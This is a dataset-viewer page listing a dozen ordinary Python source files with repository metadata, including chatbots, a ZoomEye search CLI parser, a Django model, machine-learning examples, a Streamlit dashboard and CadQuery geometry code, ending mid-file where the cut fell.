xszheng2020/the_stack_dedup_python_hits_0 · Datasets at Hugging Face

cdeaa27ba25e454daf95595f163fae1a13887999

1,220

py

Python

chat.py

Programmer-RD-AI/Learning-NLP-PyTorch

5780598340308995c0b8436d3031aa58ee7b81da

[ "Apache-2.0" ]

null

chat.py

Programmer-RD-AI/Learning-NLP-PyTorch

5780598340308995c0b8436d3031aa58ee7b81da

[ "Apache-2.0" ]

null

chat.py

Programmer-RD-AI/Learning-NLP-PyTorch

5780598340308995c0b8436d3031aa58ee7b81da

[ "Apache-2.0" ]

null

import random import json import torch from model import NeuralNet from nltk_utils import * device = "cuda" with open('intents.json','r') as f: intents = json.load(f) FILE = 'data.pth' data = torch.load(FILE) input_size = data['input_size'] output_size = data['output_size'] hidden_size = data['hidden_size'] all_words = data['all_words'] tags = data['tags'] model_state = data['model_state'] model = NeuralNet(input_size, hidden_size, output_size).to(device) model.load_state_dict(model_state) model.eval() bot_name = 'Programmer-RD-AI' print('Lets chat ! type "quit" to exit') while True: sentence = input('You : ') if sentence == 'quit': break sentence = tokenize(sentence) X = bag_of_words(sentence,all_words) X = X.reshape(1,X.shape[0]) X = torch.from_numpy(X).to(device) pred = model(X) pred_ = pred.clone() _,pred = torch.max(pred,dim=1) tag = tags[pred.item()] probs = torch.softmax(pred_,dim=1) prob = probs[0][pred.item()] if prob.item() > 0.75: for intent in intents['intents']: if tag == intent['tag']: print(f'{bot_name}: {random.choice(intent["responses"])}') else: print(f'{bot_name}: IDK..')

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1,220

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null

0

null

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0

cdecd7c4bafe572b5e961bd73c1a75878f9feaa8

3,428

py

Python

zoomeye/cli.py

r0oike/zoomeye-python

b93f1c9c350e4fce7580f9f71ab1e76d06ce165d

[ "Apache-2.0" ]

null

zoomeye/cli.py

r0oike/zoomeye-python

b93f1c9c350e4fce7580f9f71ab1e76d06ce165d

[ "Apache-2.0" ]

null

zoomeye/cli.py

r0oike/zoomeye-python

b93f1c9c350e4fce7580f9f71ab1e76d06ce165d

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ * Filename: cli.py * Description: cli program entry * Time: 2020.11.30 * Author: liuf5 */ """ import os import sys import argparse module_path = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) sys.path.insert(1, module_path) from zoomeye import core class ZoomEyeParser(argparse.ArgumentParser): def error(self, message): self.print_help() sys.exit(2) def main(): """ parse user input args :return: """ parser = ZoomEyeParser() subparsers = parser.add_subparsers() # zoomeye account info parser_info = subparsers.add_parser("info", help="Show ZoomEye account info") parser_info.set_defaults(func=core.info) # query zoomeye data parser_search = subparsers.add_parser( "search", help="Search the ZoomEye database" ) parser_search.add_argument( "dork", help="The ZoomEye search keyword or ZoomEye exported file" ) parser_search.add_argument( "-num", default=20, help="The number of search results that should be returned", type=int, metavar='value' ) parser_search.add_argument( "-facet", default=None, nargs='?', const='app,device,service,os,port,country,city', type=str, help=(''' Perform statistics on ZoomEye database, field: [app,device,service,os,port,country,city] '''), metavar='field' ) parser_search.add_argument( "-filter", default=None, metavar='field=regexp', nargs='?', const='app', type=str, help=(''' Output more clearer search results by set filter field, field: [app,version,device,port,city,country,asn,banner,*] ''') ) parser_search.add_argument( '-stat', default=None, metavar='field', nargs='?', const='app,device,service,os,port,country,city', type=str, help=(''' Perform statistics on search results, field: [app,device,service,os,port,country,city] ''') ) parser_search.add_argument( "-save", default=None, metavar='field=regexp', help=(''' Save the search results with ZoomEye json format, if you specify the field, it will be saved with JSON Lines '''), nargs='?', type=str, const='all' ) parser_search.add_argument( "-count", help="The total number of results in ZoomEye database for a search", action="store_true" ) parser_search.set_defaults(func=core.search) # initial account configuration related commands parser_init = subparsers.add_parser("init", help="Initialize the token for ZoomEye-python") parser_init.add_argument("-apikey", help="ZoomEye API Key", default=None, metavar='[api key]') parser_init.add_argument("-username", help="ZoomEye account username", default=None, metavar='[username]') parser_init.add_argument("-password", help="ZoomEye account password", default=None, metavar='[password]') parser_init.set_defaults(func=core.init) args = parser.parse_args() try: args.func(args) except AttributeError: parser.print_help() if __name__ == '__main__': main()

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null

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null

0

1

0

cdeceab8b898ec021afc4aa90ddeda2bd76d683c

862

py

Python

3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py

RezaFirouzii/python-opencv-review

454a2be7fa36516a2b1fbd4e6162068bba25c989

[ "MIT" ]

null

3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py

RezaFirouzii/python-opencv-review

454a2be7fa36516a2b1fbd4e6162068bba25c989

[ "MIT" ]

null

3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py

RezaFirouzii/python-opencv-review

454a2be7fa36516a2b1fbd4e6162068bba25c989

[ "MIT" ]

null

import cv2 as cv if __name__ == "__main__": # 0 => first (default) webcam connected, # 1 => second webcam and so on. cap = cv.VideoCapture(0, cv.CAP_DSHOW) # cv.namedWindow("Window") if not cap.isOpened(): raise IOError("Webcam could not be opened!") while True: res, frame = cap.read() # returns (bool, ndarray) # in case any error occurs if not res: break frame = cv.resize(frame, None, fx=.5, fy=.5) cv.imshow("Video Stream", frame) keyboardInput = cv.waitKey(1) if keyboardInput == 27: # ESC button ascii code break cap.release() cv.destroyAllWindows() # you can also replace a normal video with webcam # in video capture object, just give it the address of # the video instead of 0 or number of your webcam

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862

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0.0625

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null

0

null

0

1

0

cdf16ad97ffce90e11c1fa4d69eb40752cd40a16

3,928

py

Python

apps/sso/access_requests/models.py

g10f/sso

ba6eb712add388c69d4880f5620a2e4ce42d3fee

[ "BSD-3-Clause" ]

3

2021-05-16T17:06:57.000Z

2021-05-28T17:14:05.000Z

apps/sso/access_requests/models.py

g10f/sso

ba6eb712add388c69d4880f5620a2e4ce42d3fee

[ "BSD-3-Clause" ]

null

apps/sso/access_requests/models.py

g10f/sso

ba6eb712add388c69d4880f5620a2e4ce42d3fee

[ "BSD-3-Clause" ]

null

import datetime from current_user.models import CurrentUserField from django.conf import settings from django.db import models from django.urls import reverse from django.utils.timezone import now from django.utils.translation import gettext_lazy as _ from sso.accounts.models import Application from sso.models import AbstractBaseModel, AbstractBaseModelManager from sso.organisations.models import is_validation_period_active, Organisation class AccessRequestManager(AbstractBaseModelManager): def open(self): return self.get(status='o') class OpenAccessRequestManager(AbstractBaseModelManager): def get_queryset(self): return super().get_queryset().filter(status='o').prefetch_related('user__useremail_set') class AccessRequest(AbstractBaseModel): STATUS_CHOICES = [ ('o', _('open')), # opened by user ('c', _('canceled')), # by user ('v', _('approved')), ('d', _('denied')) ] user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) message = models.TextField(_("message"), max_length=2048, help_text=_('Message for the administrators.'), blank=True) comment = models.TextField(_("Comment"), max_length=2048, blank=True) status = models.CharField(_('status'), max_length=255, choices=STATUS_CHOICES, default='o') last_modified_by_user = CurrentUserField(verbose_name=_('last modified by'), related_name='accessrequest_last_modified_by', on_delete=models.SET_NULL) completed_by_user = models.ForeignKey(settings.AUTH_USER_MODEL, blank=True, null=True, verbose_name=_('completed by'), related_name='accessrequest_completed_by', on_delete=models.SET_NULL) application = models.ForeignKey(Application, blank=True, null=True, on_delete=models.SET_NULL, verbose_name=_('application')) # required field if the user has no organisation organisation = models.ForeignKey(Organisation, blank=True, null=True, on_delete=models.CASCADE) objects = AccessRequestManager() open = OpenAccessRequestManager() def process(self, action=None, user=None): if action in ['cancel', 'verify', 'deny']: getattr(self, action)(user) else: raise ValueError def cancel(self, user): self.status = 'c' self.completed_by_user = user self.save() def verify(self, user): self.status = 'v' self.completed_by_user = user if self.organisation: self.user.set_organisations([self.organisation]) # check if organisation uses user activation validation_period_active = False for organisation in self.user.organisations.all(): if is_validation_period_active(organisation): self.user.valid_until = now() + datetime.timedelta(days=settings.SSO_VALIDATION_PERIOD_DAYS) self.user.save() validation_period_active = True if not validation_period_active: self.user.valid_until = None self.user.save() # add default member profile self.user.role_profiles.add(user.get_default_role_profile()) self.user.role_profiles.remove(user.get_default_guest_profile()) self.save() def deny(self, user): self.status = 'd' self.completed_by_user = user self.save() @property def is_open(self): return self.status == 'o' class Meta(AbstractBaseModel.Meta): verbose_name = _('access request') verbose_name_plural = _('access request') def get_absolute_url(self): return reverse('accounts:accessrequest_detail', kwargs={'pk': self.pk})

39.28

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5.731935

0.305361

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0.102481

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0.251782

3,928

99

112

39.676768

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0.035387

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0.022469

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null

0

null

0

1

0

cdf35f3aa036ddd5079307083d76c1f9e474653b

1,518

py

Python

test/snr_test.py

AP-Atul/wavelets

cff71e777759844b35f8e96f14930b2c71a215a1

[ "MIT" ]

5

2021-02-01T07:43:39.000Z

2022-03-25T05:01:31.000Z

test/snr_test.py

AP-Atul/wavelets

cff71e777759844b35f8e96f14930b2c71a215a1

[ "MIT" ]

null

test/snr_test.py

AP-Atul/wavelets

cff71e777759844b35f8e96f14930b2c71a215a1

[ "MIT" ]

null

import os from time import time import numpy as np import soundfile from matplotlib import pyplot as plt from wavelet.fast_transform import FastWaveletTransform from wavelet.util.utility import threshold, mad, snr, amp_to_db INPUT_FILE = "/example/input/file.wav" OUTPUT_DIR = "/example/output/" info = soundfile.info(INPUT_FILE) # getting info of the audio rate = info.samplerate WAVELET_NAME = "coif1" t = FastWaveletTransform(WAVELET_NAME) outputFileName = os.path.join(OUTPUT_DIR, "_" + WAVELET_NAME + ".wav") noiseRatios = list() with soundfile.SoundFile(outputFileName, "w", samplerate=rate, channels=info.channels) as of: start = time() for block in soundfile.blocks(INPUT_FILE, int(rate * info.duration * 0.10)): # reading 10 % of duration coefficients = t.waveDec(block) # VISU Shrink sigma = mad(coefficients) thresh = sigma * np.sqrt(2 * np.log(len(block))) # thresholding using the noise threshold generated coefficients = threshold(coefficients, thresh) # getting the clean signal as in original form and writing to the file clean = t.waveRec(coefficients) clean = np.asarray(clean) of.write(clean) noiseRatios.append(snr(amp_to_db(clean))) end = time() x = [] for i in range(len(noiseRatios)): x.append(i) plt.plot(x, np.array(noiseRatios).astype(float)) plt.show() print(f"Finished processing with {WAVELET_NAME}") print(f"Time taken :: {end - start} s")

29.192308

108

0.689065

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5.10396

0.475248

0.034918

0.015519

0.019399

0

0.0058

0.204875

1,518

51

109

29.764706

0.848384

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1

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false

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0.058824

0

null

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null

0

1

0

cdf93d47f329e66522fe3776469675377c2e7349

1,758

py

Python

leetcode/0566_reshape_the_matrix.py

chaosWsF/Python-Practice

ff617675b6bcd125933024bb4c246b63a272314d

[ "BSD-2-Clause" ]

null

leetcode/0566_reshape_the_matrix.py

chaosWsF/Python-Practice

ff617675b6bcd125933024bb4c246b63a272314d

[ "BSD-2-Clause" ]

null

leetcode/0566_reshape_the_matrix.py

chaosWsF/Python-Practice

ff617675b6bcd125933024bb4c246b63a272314d

[ "BSD-2-Clause" ]

null

""" In MATLAB, there is a very useful function called 'reshape', which can reshape a matrix into a new one with different size but keep its original data. You're given a matrix represented by a two-dimensional array, and two positive integers r and c representing the row number and column number of the wanted reshaped matrix, respectively. The reshaped matrix need to be filled with all the elements of the original matrix in the same row-traversing order as they were. If the 'reshape' operation with given parameters is possible and legal, output the new reshaped matrix; Otherwise, output the original matrix. Example 1: Input: nums = [[1, 2], [3, 4]] r = 1, c = 4 Output: [[1, 2, 3, 4]] Explanation: The row-traversing of nums is [1, 2, 3, 4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list. Example 2: Input: nums = [[1, 2], [3, 4]] r = 2, c = 4 Output: [[1, 2], [3, 4]] Explanation: There is no way to reshape a 2 * 2 matrix to a 2 * 4 matrix. So output the original matrix. Note: 1. The height and width of the given matrix is in range [1, 100]. 2. The given r and c are all positive. """ class Solution: def matrixReshape1(self, nums, r, c): # 96ms elements = sum(nums, []) n = len(elements) if r * c != n: return nums else: return [elements[i:i+c] for i in range(0, n, c)] def matrixReshape2(self, nums, r, c): # 88ms if len(nums[0]) * len(nums) != r * c: return nums else: elements = sum(nums, []) return [elements[i:i+c] for i in range(0, len(elements), c)]

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1,758

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false

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0.5

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null

0

null

0

1

0

cdfba4673ccb2b05e2ef7ddcaa8aeaa3095e7451

4,629

py

Python

python/main.py

LaraProject/rnn2java

f35b1b98f74864d4310e7866ad5271ae5389292d

[ "MIT" ]

null

python/main.py

LaraProject/rnn2java

f35b1b98f74864d4310e7866ad5271ae5389292d

[ "MIT" ]

null

python/main.py

LaraProject/rnn2java

f35b1b98f74864d4310e7866ad5271ae5389292d

[ "MIT" ]

null

#!/usr/bin/env python3 import socket import select from time import sleep import message_pb2 from google.protobuf.internal import encoder import tensorflow as tf from tensorflow.keras import preprocessing import pickle import numpy as np ## RNN part # Load the inference model def load_inference_models(enc_file, dec_file): encoder_model = tf.keras.models.load_model(enc_file) decoder_model = tf.keras.models.load_model(dec_file) return (encoder_model, decoder_model) # Load the tokenizer def load_tokenizer(tokenizer_file): with open(tokenizer_file, 'rb') as handle: tokenizer = pickle.load(handle) return tokenizer def load_length(length_file): with open(length_file, "r") as f: data = ((f.read()).split(",")) return int(data[0]), int(data[1]) # Talking with our Chatbot def str_to_tokens( sentence : str, tokenizer, maxlen_questions): words = sentence.lower().split() tokens_list = list() for word in words: if word in tokenizer.word_index: tokens_list.append(tokenizer.word_index[word]) else: tokens_list.append(tokenizer.word_index['<unk>']) return preprocessing.sequence.pad_sequences([tokens_list], maxlen=maxlen_questions, padding='post') def answer(question, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers): states_values = enc_model.predict(str_to_tokens(question, tokenizer, maxlen_questions)) empty_target_seq = np.zeros((1, 1)) empty_target_seq[0, 0] = tokenizer.word_index['<start>'] stop_condition = False decoded_translation = '' while not stop_condition: (dec_outputs, h, c) = dec_model.predict([empty_target_seq] + states_values) sampled_word_index = np.argmax(dec_outputs[0, -1, :]) sampled_word = None for (word, index) in tokenizer.word_index.items(): if sampled_word_index == index: decoded_translation += ' {}'.format(word) sampled_word = word if sampled_word == '<end>' or len(decoded_translation.split()) > maxlen_answers: stop_condition = True empty_target_seq = np.zeros((1, 1)) empty_target_seq[0, 0] = sampled_word_index states_values = [h, c] return (decoded_translation[:-5]) # remove end w ### END RNN PART ### PORT = 9987 def recvall(sock): BUFF_SIZE = 4096 # 4 KiB data = b'' while True: part = sock.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: # either 0 or end of data break return data def answer_command(question, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers): command = message_pb2.Command() command.type = message_pb2.Command.ANSWER command.name = 'ANSWER to "' + question + '"' command.data = answer(question, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers) return command def main(): # Connect over TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('localhost', PORT)) sock.listen(5) # Current person max_lengths = [[22,74]] person = 1 enc_model, dec_model = load_inference_models("../models/" + str(person) + "/model_enc.h5", "../models/" + str(person) + "/model_dec.h5") tokenizer = load_tokenizer("../models/" + str(person) + "/tokenizer.pickle") maxlen_questions, maxlen_answers = load_length("../models/" + str(person) + "/length.txt") cmd = message_pb2.Command() over = False while True and (not over): conn, addr = sock.accept() #conn.setblocking(0) while True: data = conn.recv(4096) if not data: break ready = select.select([conn], [], [], 1.0) if ready[0]: data += recvall(conn) cmd.ParseFromString(data) if (cmd.type == message_pb2.Command.CommandType.QUESTION): print("Question : '" + cmd.data + "' received.") conn.send(answer_command(cmd.data, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers).SerializeToString()) print("Question answered.") conn.close() break elif (cmd.type == message_pb2.Command.CommandType.ANSWER): print("Error, only questions are accepted.") over = True conn.close() break elif (cmd.type == message_pb2.Command.CommandType.SWITCH_PERSON): print("Switching to person" + cmd.data) person = int(cmd.data) enc_model, dec_model = load_inference_models("../models/" + str(person) + "/model_enc.h5", "../models/" + str(person) + "/model_dec.h5") tokenizer = load_tokenizer("../models/" + str(person) + "/tokenizer.pickle") maxlen_questions, maxlen_answers = load_length("../models/" + str(person) + "/length.txt") conn.close() break elif (cmd.type == message_pb2.Command.CommandType.SHUTDOWN): print("Quiting.") over = True conn.close() break sleep(1) sock.close() if __name__ == '__main__': main()

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0

null

0

null

0

1

0

cdfcd2a90ed7ec6257eb01c41e93f4909519bbec

3,427

py

Python

examples/vae.py

zhangyewu/edward

8ec452eb0a3801df8bda984796034a9e945faec7

[ "Apache-2.0" ]

5,200

2016-05-03T04:59:01.000Z

2022-03-31T03:32:26.000Z

examples/vae.py

zhangyewu/edward

8ec452eb0a3801df8bda984796034a9e945faec7

[ "Apache-2.0" ]

724

2016-05-04T09:04:37.000Z

2022-02-28T02:41:12.000Z

examples/vae.py

zhangyewu/edward

8ec452eb0a3801df8bda984796034a9e945faec7

[ "Apache-2.0" ]

1,004

2016-05-03T22:45:14.000Z

2022-03-25T00:08:08.000Z

"""Variational auto-encoder for MNIST data. References ---------- http://edwardlib.org/tutorials/decoder http://edwardlib.org/tutorials/inference-networks """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import edward as ed import numpy as np import os import tensorflow as tf from edward.models import Bernoulli, Normal from edward.util import Progbar from observations import mnist from scipy.misc import imsave tf.flags.DEFINE_string("data_dir", default="/tmp/data", help="") tf.flags.DEFINE_string("out_dir", default="/tmp/out", help="") tf.flags.DEFINE_integer("M", default=100, help="Batch size during training.") tf.flags.DEFINE_integer("d", default=2, help="Latent dimension.") tf.flags.DEFINE_integer("n_epoch", default=100, help="") FLAGS = tf.flags.FLAGS if not os.path.exists(FLAGS.out_dir): os.makedirs(FLAGS.out_dir) def generator(array, batch_size): """Generate batch with respect to array's first axis.""" start = 0 # pointer to where we are in iteration while True: stop = start + batch_size diff = stop - array.shape[0] if diff <= 0: batch = array[start:stop] start += batch_size else: batch = np.concatenate((array[start:], array[:diff])) start = diff batch = batch.astype(np.float32) / 255.0 # normalize pixel intensities batch = np.random.binomial(1, batch) # binarize images yield batch def main(_): ed.set_seed(42) # DATA. MNIST batches are fed at training time. (x_train, _), (x_test, _) = mnist(FLAGS.data_dir) x_train_generator = generator(x_train, FLAGS.M) # MODEL # Define a subgraph of the full model, corresponding to a minibatch of # size M. z = Normal(loc=tf.zeros([FLAGS.M, FLAGS.d]), scale=tf.ones([FLAGS.M, FLAGS.d])) hidden = tf.layers.dense(z, 256, activation=tf.nn.relu) x = Bernoulli(logits=tf.layers.dense(hidden, 28 * 28)) # INFERENCE # Define a subgraph of the variational model, corresponding to a # minibatch of size M. x_ph = tf.placeholder(tf.int32, [FLAGS.M, 28 * 28]) hidden = tf.layers.dense(tf.cast(x_ph, tf.float32), 256, activation=tf.nn.relu) qz = Normal(loc=tf.layers.dense(hidden, FLAGS.d), scale=tf.layers.dense( hidden, FLAGS.d, activation=tf.nn.softplus)) # Bind p(x, z) and q(z | x) to the same TensorFlow placeholder for x. inference = ed.KLqp({z: qz}, data={x: x_ph}) optimizer = tf.train.RMSPropOptimizer(0.01, epsilon=1.0) inference.initialize(optimizer=optimizer) tf.global_variables_initializer().run() n_iter_per_epoch = x_train.shape[0] // FLAGS.M for epoch in range(1, FLAGS.n_epoch + 1): print("Epoch: {0}".format(epoch)) avg_loss = 0.0 pbar = Progbar(n_iter_per_epoch) for t in range(1, n_iter_per_epoch + 1): pbar.update(t) x_batch = next(x_train_generator) info_dict = inference.update(feed_dict={x_ph: x_batch}) avg_loss += info_dict['loss'] # Print a lower bound to the average marginal likelihood for an # image. avg_loss /= n_iter_per_epoch avg_loss /= FLAGS.M print("-log p(x) <= {:0.3f}".format(avg_loss)) # Prior predictive check. images = x.eval() for m in range(FLAGS.M): imsave(os.path.join(FLAGS.out_dir, '%d.png') % m, images[m].reshape(28, 28)) if __name__ == "__main__": tf.app.run()

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0.676685

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3,427

4.293103

0.356322

0.018742

0.029005

0.023204

0.091923

0.055332

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0

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0.189378

3,427

107

78

32.028037

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0.195214

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0.048664

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0.042857

0

null

0

null

0

1

0

a804975ed4327041257e7e887706be1ffc7b7803

2,829

py

Python

app.py

Raisler/Brazil_HDI_DataVisualization

76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c

[ "MIT" ]

null

app.py

Raisler/Brazil_HDI_DataVisualization

76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c

[ "MIT" ]

null

app.py

Raisler/Brazil_HDI_DataVisualization

76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c

[ "MIT" ]

null

import streamlit as st import pandas as pd import numpy as np import plotly.express as px from plotly.subplots import make_subplots import plotly.graph_objects as go import matplotlib.pyplot as plt def load_data(data): data=pd.read_csv(data) return data df = load_data('hdi.csv') st.title('Human Development Index in Brazil') select = st.sidebar.selectbox('Choose', ['Home', 'Analysis by Year', 'Analysis by State']) if select == 'Home': st.write('That is a dashboard to see the HDI of all states in Brazil, you can see graphics and values!') st.write('In soon, more improvements. #Version 1') st.write('In the sidebar, choose your option for the better view for you!') st.write('Author: Raisler Voigt | suggestions? raisler.dev@gmail.com') st.markdown('''<p align="center"> <a href="https://www.instagram.com/raislervoigt/" target="_blank" rel="noopener noreferrer">Instagram</a> • <a href="https://twitter.com/VoigtRaisler" target="_blank" rel="noopener noreferrer">Twitter</a> • <a href="https://www.linkedin.com/in/raisler-voigt7/" target="_blank" rel="noopener noreferrer">Linkedin</a> • <a href="https://github.com/Raisler" target="_blank" rel="noopener noreferrer">GitHub</a> </p>''', unsafe_allow_html=True) if select == 'Analysis by Year': select1 = st.sidebar.selectbox('Análise por Ano', [2017, 2010, 2000, 1991]) fig1 = px.scatter(df, x="HDI Health {0}".format(select1), y="HDI Education {0}".format(select1), size="HDI {0}".format(select1), color="UF") fig2 = px.histogram(df, x="UF", y = "HDI {0}".format(select1)).update_xaxes(categoryorder='total descending') fig3 = px.histogram(df, x="UF", y = "HDI Education {0}".format(select1)).update_xaxes(categoryorder='total descending') fig4 = px.histogram(df, x="UF", y = "HDI Health {0}".format(select1)).update_xaxes(categoryorder='total descending') fig5 = px.histogram(df, x="UF", y = "HDI Wealth {0}".format(select1)).update_xaxes(categoryorder='total descending') fig6 = df[['UF', "HDI Education {0}".format(select1), "HDI Health {0}".format(select1), "HDI Wealth {0}".format(select1)]] st.write(fig1) st.write(fig2) st.subheader('HDI Education') st.write(fig3) st.subheader('HDI Health') st.write(fig4) st.subheader('HDI Wealth') st.write(fig5) st.write(fig6) if select == 'Analysis by State': select2 = st.sidebar.selectbox('Choose the State', df['UF']) cdf = df cdf.index = cdf['UF'] state = cdf.index == '{}'.format(select2) state = cdf[state] trans = state.transpose() trans = trans.sort_index(ascending = False) fig1 = px.histogram(x = trans.index, y = trans['{}'.format(select2)]).update_xaxes(categoryorder='total descending') fig2 = state.transpose() st.write(fig1) st.write(fig2)

40.414286

144

0.679392

409

2,829

4.665037

0.342298

0.044025

0.073375

0.075996

0.357442

0.194969

0.15304

0.111111

0

0.024237

0.154118

2,829

69

145

41

0.771835

0

0.075472

0

0.09434

0.392011

0.04065

0

1

0.018868

false

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0

0.169811

0

null

0

null

0

1

0

a804e02acc0b6d5ed28538bc5bf647eab91b6259

657

py

Python

Examples/pycomBlink/main.py

sophie-bernier/RemoteOceanAcidificationMonitor

6a8b799826a2eb9b1d5064883193c61eea0ee310

[ "Unlicense" ]

1

2021-06-22T23:07:31.000Z

Examples/pycomBlink/main.py

sophie-bernier/RemoteOceanAcidificationMonitor

6a8b799826a2eb9b1d5064883193c61eea0ee310

[ "Unlicense" ]

null

Examples/pycomBlink/main.py

sophie-bernier/RemoteOceanAcidificationMonitor

6a8b799826a2eb9b1d5064883193c61eea0ee310

[ "Unlicense" ]

null

# main.py import pycom import time pycom.heartbeat(False) red = 0x08 blue = 0x00 green = 0x00 sleepTime = 0.01 def setRgb(red, green, blue): rgbValue = 0x000000 rgbValue |= (red << 16) | (green << 8) | blue pycom.rgbled(rgbValue) return while True: ### #if red >= 0x08: # if green > 0: # green -= 1 # else: # blue += 1 #if blue >= 0x08: # if red > 0: # red -= 1 # else: # green += 1 #if green >= 0x08: # if blue > 0: # blue -= 1 # else: # red += 1 ### setRgb(red, green, blue) time.sleep(sleepTime)

16.425

49

0.464231

77

657

3.961039

0.376623

0.059016

0.091803

0.118033

0

0.101266

0.398782

657

39

50

16.846154

0.670886

0.35312

0

0.05

0

1

0.066667

false

0

0.133333

0

0.266667

0

null

0

null

0

1

0

a8054920242ac3e7b7e99120e329e53db3f718af

1,891

py

Python

dsn/pp/construct.py

expressionsofchange/nerf0

788203619fc89c92e8c7301d62bbc4f1f4ee66e1

[ "MIT" ]

2

2019-04-30T05:42:05.000Z

2019-08-11T19:17:20.000Z

dsn/pp/construct.py

expressionsofchange/nerf0

788203619fc89c92e8c7301d62bbc4f1f4ee66e1

[ "MIT" ]

null

dsn/pp/construct.py

expressionsofchange/nerf0

788203619fc89c92e8c7301d62bbc4f1f4ee66e1

[ "MIT" ]

null

from spacetime import get_s_address_for_t_address from s_address import node_for_s_address from dsn.s_expr.structure import TreeText from dsn.pp.structure import PPNone, PPSingleLine, PPLispy, PPAnnotatedSExpr from dsn.pp.clef import PPUnset, PPSetSingleLine, PPSetLispy def build_annotated_tree(node, default_annotation): if isinstance(node, TreeText): annotated_children = [] else: annotated_children = [build_annotated_tree(child, default_annotation) for child in node.children] return PPAnnotatedSExpr( node, default_annotation, annotated_children, ) def construct_pp_tree(tree, pp_annotations): """Because pp notes take a t_address, they can be applied on future trees (i.e. the current tree). The better (more general, more elegant and more performant) solution is to build the pp_tree in sync with the general tree, and have construct_pp_tree be a function over notes from those clefs rather than on trees. """ annotated_tree = build_annotated_tree(tree, PPNone()) for annotation in pp_annotations: pp_note = annotation.annotation s_address = get_s_address_for_t_address(tree, pp_note.t_address) if s_address is None: continue # the node no longer exists annotated_node = node_for_s_address(annotated_tree, s_address) if isinstance(pp_note, PPUnset): new_value = PPNone() elif isinstance(pp_note, PPSetSingleLine): new_value = PPSingleLine() elif isinstance(pp_note, PPSetLispy): new_value = PPLispy() else: raise Exception("Unknown PP Note") # let's just do this mutably first... this is the lazy approach (but that fits with the caveats mentioned at the # top of this method) annotated_node.annotation = new_value return annotated_tree

35.679245

120

0.710206

253

1,891

5.086957

0.391304

0.049728

0.041958

0.021756

0.034188

0

0.230566

1,891

52

121

36.365385

0.884536

0.248017

0

0.060606

0

0.010707

0

1

0.060606

false

0

0.151515

0

0.272727

0

null

0

null

0

1

0

a8065cec94c9ac0bb277d2b7b2c4a7aa013dd5ba

3,285

py

Python

pallet.py

sprightlyManifesto/cadQuery2

207a1ff2420210460539400dfd1945e8b7245497

[ "MIT" ]

1

2021-05-31T00:08:02.000Z

pallet.py

sprightlyManifesto/cadQuery2

207a1ff2420210460539400dfd1945e8b7245497

[ "MIT" ]

null

pallet.py

sprightlyManifesto/cadQuery2

207a1ff2420210460539400dfd1945e8b7245497

[ "MIT" ]

null

from cadquery import * from math import sin,cos,acos,asin,pi,atan2 class Pallet: def __init__(self): self.torx6 = { 6:(1.75,1.27), 8:(2.4,1.75), 10:(2.8,2.05), 15:(3.35,2.4), 20:(3.95,2.85), 25:(4.50,3.25), 30:(5.6,4.05), 40:(6.75,4.85),45:(7.93,5.64), 50:(8.95,6.45), 55:(11.35,8.05),60:(13.45,9.6),70:(15.7,11.2),80:(17.75,12.8),90:(20.2,14.4), 100:(22.4,16)} def radialSlot(self,wp,slotRad, cutterRad, a1, a2,offset=(0,0)): if slotRad > cutterRad: IR = slotRad-cutterRad OR = slotRad+cutterRad middle = a1+(a2-a1)/2 result = (wp.moveTo(IR*sin(a1),IR*cos(a1)) .threePointArc((IR*sin(middle),IR*cos(middle)),(IR*sin(a2),IR*cos(a2))) .tangentArcPoint((cutterRad*2*sin(a2),cutterRad*2*cos(a2))) .threePointArc((OR*sin(middle),OR*cos(middle)),(OR*sin(a1),OR*cos(a1))) .tangentArcPoint((-cutterRad*2*sin(a1),-cutterRad*2*cos(a1))).close() ) else: result = wp #log("issues") return(result) def hexAF(self,wp,af): R = af/cos(pi/6)/2 return wp.moveTo(-sin(pi/6)*R,af/2).lineTo(sin(pi/6)*R,af/2).lineTo(R,0)\ .lineTo(sin(pi/6)*R,-af/2).lineTo(-sin(pi/6)*R,-af/2).lineTo(-R,0).close() def torx(self,wp,no): A , B = self.torx6[no] re=A*0.1 ri=A*0.175 x = ri*(sin(pi/6)*(A/2-re))/(re + ri) y1 = B/2 + ri y2 = cos(pi/6)*(A/2 - re) y = y1 - ri*((y1 -y2))/(re + ri) #log(f"x:{x} y1:{y1} y2:{y2}") phi = atan2(x,y) #log(f"phi:{round(phi,2)} x:{round(x,2)} y:{round(y,2)} re:{round(re,2)} ri:{round(ri,2)}") R = (x**2+y**2)**0.5 Rm = A/2 B = B/2 res = wp.moveTo(R*sin(-phi),R*cos(-phi)).threePointArc((0,B),(R*sin(phi),R*cos(phi))) \ .threePointArc((Rm*sin(pi/6),Rm*cos(pi/6)),(R*sin(pi/3-phi),R*cos(pi/3-phi))) \ .threePointArc((B*sin(pi/3), B*cos(pi/3)),(R*sin(phi+pi/3),R*cos(phi+pi/3))) \ .threePointArc((Rm*sin(3*pi/6),Rm*cos(3*pi/6)),(R*sin(2*pi/3-phi),R*cos(2*pi/3-phi))) \ .threePointArc((B*sin(2*pi/3), B*cos(2*pi/3)),(R*sin(phi+2*pi/3),R*cos(phi+2*pi/3))) \ .threePointArc((Rm*sin(5*pi/6),Rm*cos(5*pi/6)),(R*sin(3*pi/3-phi),R*cos(3*pi/3-phi))) \ .threePointArc((B*sin(3*pi/3), B*cos(3*pi/3)),(R*sin(phi+3*pi/3),R*cos(phi+3*pi/3))) \ .threePointArc((Rm*sin(7*pi/6),Rm*cos(7*pi/6)),(R*sin(4*pi/3-phi),R*cos(4*pi/3-phi))) \ .threePointArc((B*sin(4*pi/3), 